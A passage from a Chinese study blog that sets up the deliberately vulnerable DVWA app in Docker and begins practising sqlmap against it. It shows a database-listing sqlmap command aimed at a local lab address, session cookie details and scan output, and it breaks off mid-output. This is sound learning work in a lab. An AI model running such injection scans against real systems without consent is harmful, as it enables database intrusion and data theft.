1.dvwa环境搭建
因为要学习sqlmap,所以需要搭一个测试环境。
查了网上资料http://www.360doc.com/content/13/0614/22/11029609_292922372.shtml,打算搞个dvwa环境。
DVWA全称是Damn Vulnerable Web Application,它是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
看到一篇介绍DVWA的文章《DVWA中学习PHP常见漏洞及修复方法》,不错。
如果要完全自己搭建,可以参考这篇文章《 一起学安全测试——自己搭建安全测试环境(DVWA)》。
DVWA官网http://www.dvwa.co.uk/,打开速度比较慢,如果要下载可以去https://github.com/ethicalhack3r/DVWA。
我是在docker中安装,不需要参考上面的文章,非常简单,这就是docker技术的优势所在。
安装过程
$ docker run -it -p 80:80 vulnerables/web-dvwa
Unable to find image 'vulnerables/web-dvwa:latest' locally
latest: Pulling from vulnerables/web-dvwa
3e17c6eae66c: Pull complete
0c57df616dbf: Pull complete
eb05d18be401: Pull complete
e9968e5981d2: Pull complete
2cd72dba8257: Pull complete
6cff5f35147f: Pull complete
098cffd43466: Pull complete
b3d64a33242d: Pull complete
Digest: sha256:dae203fe11646a86937bf04db0079adef295f426da68a92b40e3b181f337daa7
Status: Downloaded newer image for vulnerables/web-dvwa:latest
[+] Starting mysql...
[ ok ] Starting MariaDB database server: mysqld ..
[+] Starting apache
[....] Starting Apache httpd web server: apache2AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
. ok
==> /var/log/apache2/access.log <==
这样就完成了。apache和mysql已经集成好了,完全不再需要配置。
在浏览器中输入地址 192.168.99.100,可以打开设置界面
setup.php就是设置界面,注意上面的提示,默认用户名和口令是admin/password。
把网页往下拉
点Create / Reset Database创建dvwa数据库。创建成功后会自动跳转到登录页面。
输入admin/password,进入dvwa的主界面
至此,环境搭建安装了,总共就花了10分钟。
2.sqlmap练习
sqlmap的安装和配置参见《2019-2-16 sqlmap安装和应用》。有一篇sqlmap介绍文章《Sqlmap中文手册》,可以参考学习。
2-1. sql注入:SQL Injection。包含:找到数据库信息,表信息,数据信息。
我用的是火狐浏览器,先按F12打开开发者工具。
接着在dvwa页面中选择左边导航中的“sql injection”,然后在user id中输入数字“333”,点击submit,此时可以看到如下界面。
HTTP请求有很多种方法,各种方法(GET、POST、cookie和User-Agent等)携带不同参数,合法有效的请求需要携带了特定参数以特定方法发起http请求。Sqlmap运行时除了需要指定目标,有时还需要指定HTTP请求的一些细节。
从上面图片中可以发现,此时http请求采用的是get方法,参数有2个id=333&Submit=Submit。
右下角还显示了cookie信息。
PHPSESSID j58548g0ejpkr8jo2k4ggjm3f2
security low
关于cookie,有两种情况sqlmap会用到:
- 要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
- 想要检测是否存在cookie注入
【step1.列出数据库信息】
开始sqlmap连接,先来个最简单的
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/?id=333&Submit=Submit#" --dbs
___
__H__
___ ___[']_____ ___ ___ {1.3.2.22#dev}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:59:14 /2019-02-17/
[19:59:14] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://192.168.99.100:80/login.php'. Do you want to follow? [Y/n] y
[19:59:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:59:24] [INFO] testing if the target URL content is stable
[19:59:24] [WARNING] GET parameter 'id' does not appear to be dynamic
[19:59:24] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[19:59:24] [INFO] testing for SQL injection on GET parameter 'id'
[19:59:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:59:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[19:59:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:59:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:59:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[19:59:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[19:59:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[19:59:26] [INFO] testing 'MySQL inline queries'
[19:59:26] [INFO] testing 'PostgreSQL inline queries'
[19:59:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[19:59:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[19:59:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[19:59:26] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - com